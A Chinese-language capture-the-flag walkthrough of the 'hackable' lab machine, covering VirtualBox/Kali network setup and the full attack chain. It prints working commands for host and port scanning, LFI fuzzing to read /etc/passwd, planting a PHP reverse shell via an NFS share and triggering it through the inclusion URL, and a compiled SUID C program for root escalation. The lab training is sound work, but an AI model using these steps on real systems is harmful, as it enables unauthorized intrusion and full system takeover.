kali1攻击机ip:192.168.181.129
kali2攻击机ip:192.168.56.107
靶场及kali网络配置
需要把靶机导入vbox才能有ip
下载地址: vbox下载
我的虚拟机原本配置是:kali机仅开启一个网络适配器,eth0,为nat模式,而且设置了静态ip
在hackable1中,我修改了网络配置
虚拟网络编辑器设置如下
kali再添加一个网络适配器,eth1,并设置为桥接模式
vbox靶机网络配置如下
这样一来,靶机就有一个ip了
kali的eth1和靶机eth0就在同一个网络了,可以互相通信
这样配置短时间可以,但是后面我发现,把kali挂起了一个晚上,第二天恢复状态后发现我的静态ip被修改了,不知道是不是因为多了个网络适配器的原因
而且如果要反弹shell,监听端口开启是在kali默认的eth0端口上,两个eth0的ip不在同一个网络中,因为网络隔离的存在,一般情况下无法连接成功(反正我不会搞)
所以在打hackable2的过程中,使用原kali打了一半之后,最后还是选择再安装一个kali2=_=
所以我推荐之间在一开始就把kali网络配置好,我的配置如下,仅供参考
靶机和虚拟网络编辑器的配置和上述一致
kali2配置,nat模式使用dhcp分配ip,具体ip信息文章里有介绍
好了,配置部分结束,开始打靶机
靶场通关
这部分是使用的是原kali
主机发现,指定网卡扫描
arp-scan -I eth1 -l
端口扫描
nmap -sS -p- -T5 -A 192.168.56.105
开启了80端口http服务,1337ssh服务,2049nfs服务;
目录扫描
dirb http://192.168.56.105
上面的文件我全翻了一遍,有图片有歌,就是没啥有用的
加上后缀再扫一次
dirb http://192.168.56.105 -X .txt,.php
扫出来一个file.php
上面飘着一行字,显示有文件包含,很可能就是这个url跟着某个参数
wfuzz探测一下
wfuzz --hw 14 -w /home/user/SecLists-master/Discovery/Web-Content/directory-list-2.3-small.txt -u http://192.168.56.105/file.php?FUZZ
啥也没有,而且全返回200,证明很大可能单FUZZ一个参数回显没有变化,需要包含一个正确文件返回才能有不同回显
尝试包含一个存在的文件
wfuzz --hw 14 -w /home/user/SecLists-master/Discovery/Web-Content/directory-list-2.3-small.txt -u http://192.168.56.105/file.php?FUZZ=../.
./../etc/passwd
成功测试出参数file
有文件包含漏洞了,现在需要找一个上传文件的地方
nmap扫出来靶机开启了nfs
NFS
NFS是一种基于TCP/IP 传输的网络文件系统协议。通过使用NFS协议,客户机可以像访问本地目录一样访问远程服务器中的共享资源
在Centos 7系统中,需要安装nfs-utils、 rpcbind
软件包来提供NFS共享服务,前者用于NFS共享发布和访问,后者用于RPC支持。
NFS服务器可以让PC将网络中的NFS服务器共享的目录挂载到本地端的文件系统中,而在本地端的系统中来看,那个远程主机的目录就好像是自己的一个磁盘分区
查看服务器发布的NFS共享目录
showmount -e 192.168.56.105
/将NFS服务端192.168.56.105下的共享目录/mnt/nfs挂载到本机的nfs下
mount -t nfs 192.168.56.105:/mnt/nfs ./nfs
进入nfs目录就能查看共享目录里发布的文件了
尝试上传反弹shell,这里我使用的是msf生成的反弹shell
cp /home/user/myshell/shell.php ./shell.php
赋予文件最高权限
chmod 777 shell.php
没成功,甚至一点反应都没有;
换个反弹shell脚本试试,使用kali自带的反弹shell脚本
cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php
这里要修改为kali的ip和nc监听的端口
不然就会出现这个报错
WARNING: Failed to daemonise. This is quite common and not fatal.Connection refused (111)
还是不行,原来是因为kali和靶机不在同一个网络里面;
路由器具有防火墙,会阻止所有传入连接(但是听说可以启用转发,不知道仅主机模式可不可以,我现在还搞不定,先放一放),我真是把所有坑踩了个遍=_=
最后没办法了,我就重新弄了一台kali的虚拟机(kali2),eth0为桥接网卡,这样默认ip就是192.168.56.0/24网段的了
(要是网卡没有ip可以试试执行/sbin/dhclient
)
在kali2里面打开nc监听
浏览器重新访问 http://192.168.56.105/file.php?file=../../../../mnt/nfs/shell.php
终于连上了
弄个回显 python3 -c 'import pty;pty.spawn("/bin/bash")'\;
既然可以上传文件,那我们直接上传提权文件就好了
写一个c语言提权脚本
#include<stdlib.h>
#include<unistd.h>
int main()
{
setuid(0);
system("id");
system("/bin/bash");
}
编译
gcc getroot.c -o getroot
chmod 777 getroot
加上suid权限
chmod +s getroot
进入/mnt/nfs
目录./getroot
执行提权代码
成功提权,得到flag
o了 😃
插播一个题外话,我的提权文件如果在kali的环境编译,到靶机里面执行是会报错的
version `GLIBC_2.34‘ not found
大概就是因为我的kali太新了,libc版本过高,靶机运行不了
我的解决办法非常简单粗暴,就是安装一个低版本的ubuntu虚拟机(我用的是ubuntu16.04)专门用来编译低版本的.c文件,编译好了就开启http服务下载到kali。
有点麻烦,但是没办法,网上的教程太复杂了:-(